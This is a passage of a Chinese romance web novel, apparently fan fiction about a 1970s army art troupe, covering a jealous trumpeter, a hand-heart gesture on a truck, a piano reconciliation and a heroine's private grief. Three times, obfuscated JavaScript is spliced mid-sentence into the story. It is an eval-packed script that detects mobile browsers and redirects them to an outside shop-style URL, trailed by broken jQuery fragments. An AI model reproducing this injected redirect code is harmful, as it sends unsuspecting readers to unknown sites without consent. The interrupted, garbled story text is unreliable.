兆悦困得意识都有点模糊,脑袋控制不住地往旁边偏。
车子猛地一颠,她重心一歪,这一次没靠向陈灿,反而直直倒向了右侧的闫展博肩上。
陈灿:“?”
整个人瞬间僵住,眼睛都直了。
而被靠着的闫展博,只是轻轻顿了一下,半点不躲,也不排斥。
他本就对兆悦有眼缘,人干净、讲究、不啰嗦,刚才在车上还一句话救他于险境,这份情他记在心里。
此刻她困极靠过来,他只当是战友间的自然亲近,神色平静自然,甚至微微放松了肩线,让她靠得更稳一点,完全无所谓。
可有人有所谓。
还是超级有所谓的那一个。
陈灿坐在左边,眼睁睁看着自己盼了一路的肩膀时间,被闫展博截胡。
少女的额发轻软,呼吸浅浅,安安稳稳靠在另一个男生肩上。
那一幕刺得他眼睛发疼。
刚才还在硬撑的别扭,瞬间变成了明晃晃的醋意,一股脑冲上头顶。
他抱着胳膊的手猛地收紧,指节都绷出了淡白,嘴唇抿成一条紧绷的线。
心里又酸又闷又堵,疯狂翻涌:
——怎么还靠到他那边去了?
——我还在这儿呢!
——我才是你该靠的那个啊!
闫展博全然没在意身旁小号手快要烧起来的目光,依旧安安静静望向窗外,只是在兆悦快要滑下去时,极轻地抬手,稳稳托了她一下。
这一下,落在陈灿眼里,简直是公然挑衅。
小号手的脸,当场黑得彻底。
原本计划好的牵手、靠肩、大衣下的小甜蜜……
一瞬间,全泡汤了。
他气鼓鼓别过头,死死盯着窗外飞速倒退的风景,胸口憋着一团又闷又酸的气。
46. 比心
车子摇摇晃晃,终于在傍晚时分停了下来。
窗外的天色已经沉了大半,昏黄的路灯在兵站的空地上投下一圈圈暖光,空气中飘来食堂饭菜的香气——终于到了休整的地方,今晚要在这里落脚吃饭,住上一晚。
兆悦是被停车的震动晃醒的。
睫毛轻颤几下,她迷迷糊糊直起身,这才发现自己刚才睡得歪歪扭扭,脑袋还轻轻靠在闫展博的肩窝处。
她微微一怔,脸颊悄悄热了点,连忙小声对闫展博说了句“不好意思啊”。
闫展博只是轻轻摇头,语气平淡:“没事。”神色依旧淡然,半点不介意。
转头,全程冷着脸、憋了一路气的小号手,连一个眼神都没分给她,起身就往车下走,动作干脆得近乎冷漠。
兆悦坐在车上,看着他头也不回翻身下车的背影,心里一下子又奇怪又委屈,还悄悄堵上了一点不开心。
刚才在车上还好好的,怎么这会儿说不理人就不理人了?
以前下车,他都会伸手扶她一把,今天倒好,自顾自就走了。
她抿了抿唇,心里有点赌气:不扶就不扶,我自己下去。
车厢高,她抱着军大衣,正小心翼翼挪着脚,想自己往下跳。
就在她身子前倾、快要失去平衡的那一刻——一只骨节分明、带着温热温度的手,突然稳稳地伸到了她面前。
掌心朝上,力道稳当,带着一点口是心非的急切。
兆悦一怔。
她抬头,便撞进陈灿沉得发暗的眼睛里。
他就站在车下,脸色依旧不怎么好看,嘴唇抿得紧紧的,一副还在闹别扭的模样,可那只手,却伸在她面前。
嘴上硬气得很,身体却诚实得要命。
终究是忍不了看她摔着。
兆悦又好气又好笑,轻轻把手放进他掌心。
陈灿没说话,只微微用力,一把将人稳稳扶了下来。
全程没看她,扶完就想装作若无其事地松手。
而车上,一直安静旁观的闫展博,将这一幕完完整整收进眼底。
他看着陈灿那副别扭又藏不住关心的样子,眼底极轻地掠过一丝了然,唇角几不可查地弯了一下,无声暗笑。
卡车在兵站凑合一晚,全是挤得转不开身的大通铺,人挨人、呼吸相闻,一夜翻来覆去,谁都没睡踏实。
第二天重新上车,一整车人全蔫头耷脑,一落座就靠着车厢补觉,连说话的力气都没有。
杭春明更是睡得东倒西歪,没一会儿就打起了呼噜,呼噜声震得旁边人直皱眉。
兆悦上车后习惯性往老位置走,可一抬头,却愣了一下。
今天的陈灿,没有像往常一样坐在她身边。
他挑了个正对着她的位置,挨着睡得死沉的杭春明坐下,双臂一抱,又恢复了昨天那副冷冷淡淡的模样,目光落在窗外,半分都不往她这边飘。
兆悦坐在对面,眉头轻轻蹙起,心里越发摸不着头脑。
这人到底怎么回事?
昨天还好好的,今天又闹起了别扭,连座位都要刻意避开她,又非得让自己看见。
她越想越闷,却又拉不下脸主动去问,只能别过头,憋着一点小委屈。
车子重新启动,驶上一段坑坑洼洼的土路,车轮卷起一阵飞扬的黄土,风一卷,直接扑进敞开的车厢里。
好几个人都被迷了眼,兆悦也不例外,呛得微微眯起眼,抬手想去擦脸上的尘土。
身旁的闫展博见状,很自然地从口袋里掏出一方素白干净的手帕,轻轻递到她面前。
这估计已经是闫展博对女生最大的善意行为了。
“擦一下吧。”
兆悦看了一眼,却轻轻摇了摇头,没有接。
她有轻微洁癖,不习惯用别人用过的东西。
更何况,她自己随身带着手帕——那还是去年生日,陈灿送给她的。
她默默从口袋里翻出属于自己的那方手帕,指尖轻轻抚过熟悉的布料,低头慢慢擦着脸。
这一幕,落在对面陈灿的眼里。
他原本还绷着一张冷脸,装得毫不在意。
可看清她拒绝别人、却只用他送的东西时,那双冷硬的眼睛里,瞬间藏不住一丝小得意。
心底暗暗爽开了:
——呵,献殷勤也没用。
——我跟她认识多久了?
——我早就送过她手帕,她一直带在身上。
——你现在才递,人家根本不会收。
一点点小骄傲、一点点小胜券在握,混着之前没散完的醋意,在他心里悄悄翻涌。
脸上依旧不动声色,还是那副抱着胳膊、生人勿近的样子。
可眼底那点冷硬,早被这突如其来的小得意,泡得软乎乎的,连嘴角都几不可查地往上挑了半分。
闫展博收回手,若无其事地将手帕塞回口袋。
他抬眼淡淡扫了对面的陈灿一眼,只看见那小号手脸上明明还绷着,眼底却藏着一丝莫名其妙的暗爽和小嘚瑟,那点得意藏都藏不住。
他不清楚两人之间到底有什么过往,也不知道那手帕的来头,更不明白刚才还一脸阴沉的人,怎么转眼就这副模样。
只是凭着观察,隐约能猜出七八分:和兆悦有关。
至于具体是什么——他没兴趣,也懒得深究。
只在心里淡淡落下一句:真是个莫名其妙的人。
兆悦用陈灿送的手帕细细擦去脸上的尘土,指尖攥着熟悉的布料,抬头便又对上对面那道冷飕飕的目光。
陈灿还是那副别扭模样,抱着胳膊,眼神飘向窗外,一副谁也不想理的样子。
她轻轻垂下眼,指尖无意识地摩挲着手帕边缘,在心里一点点复盘。
从昨天车上聊天、自己突然打断闫展博,到后来靠错了肩膀,再到今天他刻意换座位、全程冷淡……
一件一件,在脑子里过了一遍。
直到这一刻,兆悦才终于恍然大悟。
原来,他是吃醋了。
她心里轻轻一软,也泛起一点愧疚。
她心里清楚得很,闫展博的心思不在男女之情上,更清楚那本禁忌之书背后不能言说的秘密,她护着他,是出于朋友的分寸与安全。
可这些,陈灿不知道。
在陈灿眼里,只看到她和闫展博说话默契、眼神相通、甚至困了靠在对方肩上,连旁人递手帕她都有回应……
一切的一切,都像极了格外亲近的两个人。
兆悦扪心自问,若是换作她,看见陈灿和别的女生走得近,她心里也会闷、会烦、会不舒服。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17309128|198747||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
将心比心,陈灿会吃醋,再正常不过。
是她考虑不周了。
可愧疚归愧疚,有一件事她拎得极清——闫展博的秘密,她半个字都不能对外人说。
那就像现实里朋友掏心掏肺讲的私事,是信任,是隐秘,是无论如何都要守住的底线,哪怕是男朋友,也没有必要、更没有理由去透露。
不能解释,不能明说,只能自己想办法,把身边这只酸溜溜的小号手哄好。
兆悦轻轻抬眼,再次望向对面的陈灿,眼底已经没了困惑,只剩下一点无奈的软意。
她得做点什么,让他别再闷着了。
兆悦心里有了数,目光便不再躲闪,径直望向对面的陈灿。
他还在硬撑,抱着胳膊装冷漠,可被她这么一眨不眨地盯着,后背都有点发紧。
坚持不了几秒,小号手终于绷不住,不情不愿地回头,撞上她的视线。
四目相对的瞬间,兆悦脸颊微微一热。
说实话,这办法她自己都觉得土得掉渣,是以前刷视频时看别人闹着玩的,放在现在这满车厢都是人的文工团里,简直大胆得要命。
可这是眼下,唯一能悄悄做、又只有他能看到的事。
她心跳有点快,眼神飘了飘,确认旁人都在睡觉、没注意这边,才飞快抬眼,再一次看向他。
睫毛轻轻颤了颤。
下一秒,她放在桌下的两只手,极轻、极快、极小声地——对着他,悄悄比了一颗小小的心。
动作又轻又快,害羞得要命,指尖都有点不自然。
做完就飞快低下头,耳尖都悄悄红了。
太土了。
真的太土了!
可她实在没别的办法。
陈灿其实根本没看进去窗外的风景。
他全程都在用余光瞟兆悦,心里那点小得意还没散,又端着架子不肯先低头,抱着胳膊硬撑,装作一副油盐不进的冷淡样子。
可没过多久,他就感觉到一道目光,直直落在自己脸上。
不躲不闪,安安静静,就是兆悦。
陈灿心里猛地一跳,表面却依旧绷着,故意不转头,硬扛。
一秒、两秒、三秒……
那道目光太亮,太专注,像小太阳一样烤着他的脸颊,让他浑身都不自在,连呼吸都乱了半拍。
他实在撑不住了,几乎是赌气一般,猛地转过头,狠狠瞪了她一眼。
那眼神里还带着没散完的别扭,像是在问:看什么看?
可视线一撞上她的眼睛,他的心就先软了半截。
兆悦就安安静静看着他,睫毛轻轻垂着,脸颊有点淡淡的粉。
下一秒,她的手悄悄藏在大衣下面,微微蜷起指尖,对着他,极轻、极快、极害羞地比了一颗小小的心。
动作快得像错觉,软得像棉花。
她刚刚,两只手轻轻一合,对着他比出了一颗清清楚楚的爱心。
陈灿一眼就看明白了。
在满车厢人的眼皮底下,一个只属于他们俩的小动作。
心脏猛地被撞了一下,又轻又软。
刚才一路的闷气、别扭、酸意,瞬间就散了大半。
只觉得新奇,又觉得隐秘,心口发烫,整个人都轻了一截。
他盯着她,眼睛都亮了。
47. 曲毕
车还在往前开,风卷着尘土掠过车窗。
他盯着她,眼睛一下子就亮了,原本抿紧的嘴角,不受控制地往上提了提。
想立刻笑出来,又怕太明显,只能硬憋着,可那点欢喜,怎么藏都藏不住。
兆悦比完就飞快低下头,假装看自己的衣角,耳根已经悄悄泛红。
她也觉得有点不好意思,可余光还是能感觉到,对面那道目光,再也不是冷冰冰的了。
陈灿再也端不住了。
他抱着胳膊的手松了又紧,紧了又松,恨不得立刻就挪回她旁边坐着。
可这么多人看着,只能强忍着,只一个劲地用目光黏着她,眼底的笑意快要溢出来。
一旁的闫展博无意间抬眼,扫了对面一眼。
只见刚才还浑身写着“别惹我”的小号手,这会儿整个人都透着一股藏不住的轻快,眼神亮得吓人,嘴角压都压不下去。
闫展博默默移开视线。
真是……没眼看。
快要到站时,司机一声喊,整辆车的人都醒了过来。
补了一觉,大家精神头全回来了,车厢里立刻又叽叽喳喳热闹成一片。
郝淑雯叉着腰,跟小芭蕾几个凑一块儿,正对着杭春明“算账”:“你可太行了!这一路上呼噜打得震天响,全车人都被你吵得没睡安稳!”
杭春明挠着头嘿嘿直笑,连连告饶:“我错了我错了,兵站大通铺挤得我一晚上没睡好,一上车就困得什么都不知道了!”
一群人跟着哄笑,气氛一下子活泛起来。
萧穗子转头看向一旁的陈灿,有些好奇:“陈灿,我看你一路上都安安静静坐着,好像一眼没合过啊?”
陈灿的目光很轻地从兆悦身上掠过,眼底还藏着一点没散干净的软意,语气平静,却带着点只有自己才懂的滋味。
“睡不着。”
兆悦听见这话,心里轻轻一揪,悄悄泛起一丝愧疚。
话题很快转到了闫展博身上。
萧穗子好奇看向他:“展博,你舞跳得这么好,歌也唱得这么稳,是在哪儿学的呀?”
林丁丁立刻附和:“我听过你唱歌,一听就是专业练过的,技巧特别好,绝对不是随便唱唱。”
闫展博淡淡笑了笑,语气平和:“以前家里给请过才艺老师,学过几年。”
众人一听,心里便都有数了——这个年代能专门请私教,家境定然十分殷实。
兆悦在一旁安安静静听着,这次老老实实地闭紧了嘴,半个多余的字都没敢说,连眼神都安分地落在自己跟前,生怕哪一下不对,又把旁边那个醋坛子给惹翻了。
可这回,反倒陈灿先开了口。
他靠着车厢,语气听着平平淡淡,话里却带着点若有若无的锋芒,夹枪带棒。
“家里条件就是不一样,我们这些普通人,想学点东西,可没这个机会。”
这话一出,空气微微一僵。
萧穗子今天正好逮着机会坐在陈灿旁边,一听这话,立刻紧张地悄悄拍了拍陈灿的胳膊,一副“我跟你一头”的样子,连忙给他打圆场。
“你别往心里去啊,他就这样,说话不过脑子。”萧穗子连忙对闫展博笑道。
闫展博心里跟明镜一样。
他心思本就细腻,又比一般男生更敏感,只一眼就看穿了——陈灿哪里是在意家境,分明是在为兆悦吃醋。
既然要打,那就打七寸。
他忽然微微垂了垂眼,看向兆悦,语气轻得像受了点委屈似的:“我……是不是说错什么了?”
这一下,直接给陈灿气炸了。
这货还敢在兆悦面前装委屈?
兆悦在心里又好气又好笑,暗暗揶揄:
论家世,这一车人有哪个比得过陈灿?现在倒好,拿着家境当借口吃醋刺人。
可她面上左右为难,只能轻声对闫展博说:
“别往心里去,他没别的意思。”
车子刚停稳,众人便纷纷起身准备下车。
陈灿坐在外侧,本就打算借着位置之便,抢先两步下去扶兆悦,谁料闫展博动作比他还快。
不等陈灿起身,闫展博已经第一个利落翻身下车,稳稳站在车边,目光径直望向车厢最内侧的兆悦,径直朝她伸出手,声音清清淡淡,却足够让周围人都听见:“兆悦,我拉你。”
摆明了只拉她一个,旁人他连看都没看一眼。
这做派坦荡又张扬,比起陈灿平日里的别扭隐忍,直白得不像话。
全车人都看在眼里。
郝淑雯当即瞪圆了眼,跟林丁丁对视一眼,两人立刻挤眉弄眼,拖着长长的调子“咦——哟——”地起哄,声音大得半个兵站都能听见。
“哟——这是专门等着扶咱们兆悦呢!”
“可以啊展博,够直接的!”
陈灿僵在原地,脸色瞬间沉了下来,指节暗暗攥紧,眼底的醋意几乎要溢出来。
好得很,这人是故意的。
兆悦坐在里面,被这阵仗弄得耳尖发烫,进退两难,只能硬着头皮将手轻轻搭了上去。
夜色漫开,当地大礼堂里灯火通明,掌声与欢呼声几乎要掀翻屋顶。
今晚的演出格外顺利,战士们的热情高涨,最后一个节目落幕,台下依旧掌声雷动,此起彼伏地喊着“再来一个!再来一个!”
团里早备了应急节目,又加演了一个,可台下的热情丝毫未减,依旧拍着手不肯罢休。
分队长看了眼时间,还早,沉吟片刻,忽然眼前一亮——她想起了闫展博刚入团时展示过的一支独唱《沂蒙山小调》,旋律悠扬温和,音色干净,最适合此刻暖场。
只是这首歌当时只唱给她一人听过,团里其他人连旋律都不熟,乐队更没排过。
“闫展博!”分队长当即喊了一声,“你把之前唱的那首《沂蒙山小调》拿出来,临时加一个独唱!”
闫展博点了点头,可立刻犯了难:《沂蒙山小调》不是团里常备曲目,一时半会临时合不上。
气氛正僵着,台下的呼声一阵高过一阵。
就在这时,人群里忽然传来一道清亮的声音:“我来弹。”
众人一回头,竟是兆悦。
分队长本就信任兆悦的功底,二话不说直接拍板:“好!就你们俩,上!”
兆悦与闫展博下意识对视一眼,无需多言,一个眼神便已默契十足。
一个整理衣装准备开唱,一个径直走向舞台侧方的钢琴,动作自然流畅,配合得天衣无缝。
这一幕,清清楚楚落进刚吹完小号、从后台侧幕下来的陈灿眼里。
他手里还攥着亮闪闪的小号,指节暗暗收紧。
醋意与火气搅在一处,堵得他胸口发闷。
偏偏什么都不能说,只望着台上那两道并肩而立的身影,脸色一点点沉了下去。
演出完美落幕,当地领导对整场表演高度赞赏,还特意点名夸奖了最后那一段独唱与钢琴独奏,赞其悠扬动人、配合默契。
这话落在旁人耳中是夸奖,可落在某个人心里,却只剩刺心的别扭。
集合解散的哨声刚落,陈灿一句话没说,转身就没了踪影,径直回了宿舍蒙头躺倒。
他哪里睡得着,不过是闷在被子里独自赌气,心里翻来覆去全是舞台上那两道并肩的身影。
兆悦四处都没寻到他,心里不由得泛起一阵闷郁。
明明在车上比出爱心时,他脸色明明已经缓和下来,怎么转眼又变成这样。
她隐约明白,是自己与闫展博走得太近,才让他这般心绪不宁,可有些话她没办法直说,这毕竟是闫展博的私事。
恰巧大礼堂里还留着一架品相极好的三角钢琴,趁众人都回去休息,四下无人,兆悦悄悄折返回来。
平
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17309129|198747||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
日里在文工团,她总是跟着集体排练,让弹什么便弹什么,都是规定曲目,简单熟练,从无出格。
若是长时间弹奏那些未正式发行、偏向现代曲风的曲子,难免显得突兀怪异,所以她从来没在团里光明正大地弹过心底真正想弹的旋律。
此刻空无一人,再无拘束。
她想借着琴声,疏解心底堆积的郁闷与不安,指尖落下,缓缓奏起了《The Truth That You Leave》。
轻柔又略带忧伤的旋律在空旷的礼堂里散开,每一个音符,都藏着她对陈灿的在意,藏着无法言说的委屈与纠结。
她弹得太过投入,直到一曲过半,才忽然察觉到一道安静的目光落在自己身上。
兆悦心头一动,缓缓回头。
站在不远处阴影里的人,正是陈灿。
他实在气得睡不着,索性出门散心,不知不觉走到大礼堂外。
脑海里一下子又翻出后台的画面——郝淑雯撞了撞林丁丁的胳膊,压低声音起哄:“你看他俩,一唱一弹,多登对啊。”
林丁丁立刻跟着笑:“何止登对,我看他俩那眼神就不一样,肯定有戏。”
郝淑雯又凑过来,神神秘秘:“还记得拉练那会儿说的金星、姻缘那些吗?我看啊,说的就是他俩!”
一字一句,清清楚楚,像针一样扎在心上,让他心头火起,憋闷得快要喘不过气。
他本是越想越躁,可走到门口,听见这阵从未听过的、温柔又忧伤的琴声,看见坐在钢琴前的兆悦,所有的怒气,竟在这一刻,莫名地沉了下去。
兆悦一看见是他,指尖一顿,琴声戛然而止。
空旷的礼堂里瞬间安静下来,只剩下彼此的呼吸。
她几乎是立刻站起身,快步朝他走过去。
确认四周真的空无一人,她没有丝毫犹豫,伸手轻轻抱住了他。
脸颊贴在他的胸口,声音又轻又软,带着一点委屈,一点不安。“你跑哪儿去了,我到处都找不到你。”
陈灿整个人一僵。
方才还堵在胸口的闷气、酸涩、嫉妒,在她抱上来的这一瞬间,像是被温水化开似的,散了一大半。
他垂着眼,看着怀里的人,手臂僵了几秒,才慢慢、轻轻地环住她的腰。
“……找我干什么。”
他声音还有点闷,依旧带着没散干净的别扭,“你今晚不是跟他配合得挺好吗。”
兆悦心里一紧,抱得他更紧,几乎要把自己嵌进他怀里,声音带着微微发颤的认真:“在台上那首歌,是为了场面弹的,和任何人都无关。
可是刚刚,我弹的这首歌,我心里想的是谁,你不知道吗?”
陈灿身子猛地一震,喉结不自觉地滚动了一下。
怀里人的温度、语气里的委屈与认真,一字一句都砸在他最软的心口上。
先前的赌气、烦躁、醋意,在这一刻全都烟消云散,只剩下满心的酸涩与心疼。
他垂眸,看着紧紧抱着自己的兆悦,声音放得极轻、极哑,没了半分别扭:“……我知道。”
兆悦心才放下,抬头看向他。
四目相对,他眼底的阴霾早已散去,只剩下藏不住的温柔与在意。
陈灿轻轻叹了口气,手臂微微收紧,将她更安稳地抱在怀里,下巴轻轻抵在她的发顶。
“是我小心眼了。”他低声承认,语气里带着几分不自知的软意,“别生我的气。”
兆悦的心一下子就落了地,所有的不安与郁闷,在这一刻全都散了。
她把脸埋回他的怀中,轻轻摇了摇头,声音闷闷的,却带着笑意:“我没有生气。”
“我只是……很怕你误会。”
陈灿没说话,只是抱着她的力道又轻了几分,温柔得不像话。
空旷的大礼堂里,月光静静洒落,将两人的身影温柔地裹在一起。
48. 独岛
返程的大巴车一路颠簸,阳光透过车窗洒在众人身上,气氛比来时轻松了不少。
萧穗子一眼就看出,陈灿今天的状态截然不同,眉眼间的郁气一扫而空,整个人都透着一股说不出的轻快。
她虽然猜不透昨晚到底发生了什么,可打心底里替他高兴,于是在大伙闲聊的时候,也比往常更敢主动搭话、开口叫他。
“陈灿,你今天看着心情不错啊?”萧穗子笑着凑过去,“昨晚睡得好?”
陈灿弯了下嘴角,语气轻松:“还行。”
“哟,这可不像是‘还行’啊。”旁边有人跟着打趣,“之前一路脸都绷着,今天都快笑出来了。”
陈灿淡淡瞥了一眼,没恼,只随口回了句:“有那么明显?”
“那可不!”萧穗子乐得点头,“看来这次演出,大家都尽兴了。”
这一幕落在闫展博眼里,他眼底掠过一丝了然,心底悄悄失笑。
不用想也知道,这位别扭的醋坛子,恐怕是被人给哄好了。
一旁的郝淑雯瞧着热闹,嘴上也没闲着,虽不像私下跟林丁丁议论时那般直白夸张,却也暗戳戳地意有所指。
她往兆悦那边偏了偏头,笑着对周围人道:“说真的,昨晚最后那一段,咱们兆悦和展博配合得也太好了吧?台下领导都夸了。”
林丁丁立刻接话:“可不是嘛,一唱一弹,看着就舒服。”
郝淑雯又意有所指地补了一句:“我看啊,有些人默契是天生的。”
周围几个人都听出了弦外之音,跟着低低地笑。
兆悦只当没听见,安静望着窗外。
闫展博淡淡笑了笑,也不辩解,只随口带过:“临时凑的,多亏兆悦钢琴稳。”
陈灿坐在对面,将这些话一字不落地听进耳里,心里却半点波澜都没起。
他自己都觉得奇怪,若是放在以前,听见这些话早该沉了脸,可如今,只觉得无关紧要。
左右兆悦的心意,他早已清清楚楚。
没一会儿,朱克几人凑在一起打起了牌,热热闹闹地喊陈灿过去凑一手。
换做以前,他早就起身加入了,可现在不一样了。
他心里暗自琢磨:他们都是孤身一人,说玩就玩,我可是有家室的人,哪能自作主张,总得先问过她才行。
这么想着,他下意识抬眼望向兆悦,眼神里带着几分无声的询问。
兆悦没什么多余反应,只是淡淡瞥了他一眼,算是默许。
陈灿立刻放了心,这才起身朝朱克那边走去,步伐都带着藏不住的轻快。
陈灿那边一派轻松,可这一路上,兆悦反倒显得心事重重。
她本就是个极易陷进情绪里的人,明明昨夜已经把话说开,两人和好如初,可心头那点落寞,却像影子一样挥之不去。
她总是控制不住地胡思乱想,一点小事,就能在心里绕上千百个弯。
大概男生都是这样吧,前一秒还在赌气,后一秒就能云开雾散,没心没肺地乐起来。
车厢里的说笑、打牌的喧闹、旁人的打趣,一点点从她耳边淡去,世界像是隔了一层模糊的玻璃。
她自己心里清楚,现实生活中她本就带着隐隐的抑郁倾向。
来源太多了——原生家庭的压抑、上一世纠缠不清的感情、眼看着青春一点点逝去却抓不住的恐慌……本以为命运给了她一次重来的机会,让她来到这个朴素干净的七十年代,这个她曾经向往的、满眼纯真的年代。
可为什么,就算到了这里,她还是觉得,人生怎么都没法真正圆满。
兆悦用力抿了抿唇,拼命把翻涌上来的情绪往下压,努力扯出一点平静的神色,跟着萧穗子几人说笑聊天,尽量让自己看起来和旁人没什么两样。
中午时分,车子停在路边休整,大家纷纷下车搭锅烧菜,炊烟袅袅,热闹得很。
兆悦却悄悄往远处走了走,避开了人群。
最细心的永远是女孩子,何小萍一眼就看出她不对劲,脚步轻缓地跟了上去,既想安慰,又怕打扰,站在几步开外,犹豫了好一会儿才轻轻开口。
“悦儿姐……”
兆悦回头,勉强提起一点精神,朝她笑了笑:“怎么了,小萍?”
“你是不是……心里不舒服?”何小萍声音轻轻的,满是小心翼翼,“我看你一路上都没怎么说话,脸色也不太好。”
“没有啊,”兆悦故作轻松地摇了摇头,“就是有点累,想单独站一会儿,透透气。”
何小萍懊恼自己笨嘴拙舌,攥了攥衣角,又真诚:“我……我不会说什么好听的话,可你要是心里难受,别一个人扛着。”
兆悦心头一暖,鼻尖却微微发酸。
“我知道,”她轻声道,“小萍,谢谢你。”
“我就是……怕你一个人难过。”何小萍眼圈微微泛红,“有什么事你说出来,哪怕我帮不上忙,听一听也好。”
兆悦轻轻吸了口气,努力压下哽咽:“我真的没事,就是想自己待一会儿,很快就好。”
何小萍看着她强装平静的样子,心疼又无措,懊恼自己笨嘴拙舌,什么安慰的话都说不出来。
“那……那我不打扰你,”她往后退了两步,轻声道,“我就在远处等你,你有事随时叫我。”
兆悦点了点头。
何小萍便真的站在不远不近的地方,既守着她,又给足了她独处的隐私,安安静静,不发一言。
直到再也看不见旁人的视线,听不见喧闹的人声,兆悦紧绷了一路的情绪,终于彻底崩开。
她蹲下身,把脸埋在膝盖里,压抑的哭声再也忍不住,细碎又颤抖地散在风里。
所有的委屈、不安、迷茫、对前世的执念、对今生的惶惑,在这一刻,毫无保留地宣泄出来。
等炊烟散尽,大家吃完饭休整完毕,远处的兆悦已经重新站直了身体。
眼眶微微泛红,却依旧带着平静的笑意,像是什么都没有发生过一样,缓步走回了人群。
而这一切,何小萍全都看在眼里。
从兆悦强颜欢笑地融入人群,到独自走远、蹲在地上无声痛哭,再到最后擦干眼泪、重新扬起平静的笑容回到大家身边,她每一个细微的神情,每一次强忍的颤抖,都被何小萍清清楚楚地记在心底。
何小萍比谁都清楚,兆悦是多好的一个人。
自她来到文工团,最开始受到冷眼与排挤,唯有兆悦,始终待她温和、护她周全,给她尊重,给她温暖,给她在这集体里光亮。
兆悦的善良从不是客套,而是刻在骨子里的柔软与悲悯。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17309130|198747||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>也正因如此,看见悦儿姐这样把所有痛苦吞进肚子里,强装无事,何小萍的心像被细细揪着一样疼。
她懂那种情绪。
懂那种无人可说、只能独自崩溃、再独自痊愈的压抑。
她自己就是在黑暗里待过太久的人,所以一眼就能看穿,兆悦眼底那层看似平静下的荒芜与难过。
风轻轻吹过草地,何小萍站在远处,望着兆悦重新走回人群的背影,指尖悄悄攥紧。
她什么也没说,什么也没问。
可有些东西,在她心里悄悄扎下了根。
这一次无声的陪伴、这场无人知晓的痛哭、这份藏在热闹背后的孤独,像一颗种子落在何小萍心底。
而此刻的谁也不知道,这一幕,将会在不久的将来,成为以何小萍为转折点的那件事里,最关键、最坚定的一份力量。
等所有人休整完毕,队伍重新启程。
兆悦将心底翻涌的情绪暂时压到最深的角落,强打起精神,跟着大家一同原路返回。
傍晚时分,一行人再次住进了熟悉的兵站,依旧是拥挤热闹的大通铺。
连日奔波演出、赶路折腾,每个人都累得提不起精神,没人再闲聊说笑,简单收拾过后便早早躺下,只盼着能好好歇上一觉。
这一夜,几乎所有人都睡得昏沉又疲惫。
直到第二天重新踏上文工团的归途,车子缓缓驶进熟悉的院落。
一回到熟悉的文工团,原本疲惫不堪的众人,反倒一个个都有了精神。
日子一天天往年底走,离新年越来越近。
可在这样特殊的年代里,“过年”两个字,反倒被日子磨得淡了,像是被大家悄悄淡忘在一边。
唯独文工团,越是临近年关,反而越忙。
慰问、排练、演出、赶场一场接一场,所有人都连轴转,脚步几乎停不下来。
自从那天在演出大礼堂里,兆悦与陈灿抛开所有误会,紧紧相拥、互诉衷肠之后,两人便再没拥有过一段完整、安静、可以好好亲昵相处的空闲时光。
文工团里人多眼杂,排练、演出、集合、出操排得满满当当,连喘口气的间隙都少得可怜。
两人明明朝夕相见,却总是隔着人群、隔着任务、隔着旁人的目光,只能在擦肩而过时,悄悄交换一个只有彼此才懂的眼神。
明明离得那么近,却又好像那么远。
最先憋不住的,还是陈灿。
他心里那点念想,藏都藏不住,眼神总不自觉地往兆悦身上飘,排练间隙、吃饭路上、熄灯之前,每一刻都在盼着能多跟她待一会儿。
其实兆悦又何尝不是。
心底早就念得一塌糊涂,也盼着能跟他好好说说话、亲近亲近。
可她硬是咬着牙忍着,一遍遍告诉自己——不能太主动,不能太上赶着。
当天傍晚,训练一结束,众人散去的瞬间,陈灿几乎是不假思索,伸手轻轻拽了一下兆悦的袖口。
力道很轻,却带着藏了快一个月的执拗。
他压低声音,语气又闷又急,直白得不像话:“别走,我想你了。”
兆悦身子微微一僵。
他看着她,眼底全是藏不住的想念,没半点拐弯抹角:“这一个月天天见,却跟没见一样。我受不了了。”
49. 忙碌
她差一点,就伸手回抱住他。
就在情绪快要失控的边缘,一阵冷硬的晚风忽然卷过来,掠过树梢,吹乱两人的头发,也吹得空气猛地一凉。
风一吹,两人同时清醒了几分。
这里是文工团,人来人往,到处都是眼睛,到处都是规矩。
他们不能,也不可以。
兆悦指尖微微发颤,缓缓往后退了一小步,声音轻得要消失,带着无可奈何的认命:“……有人来了。”
陈灿喉结滚动,攥着她袖口的手最终还是一点点松开。
眼底的滚烫被硬生生压下去,只剩下满心的憋屈与无力。
他知道,她也知道。
再想,再念,再忍不住,此刻也只能作罢。
过年这几天依旧有演出,只是不算远,开车大半天便能到。
晚上表演一结束,就得连夜坐车回去,一群人多半只能在车里和衣蜷缩着眯一觉。
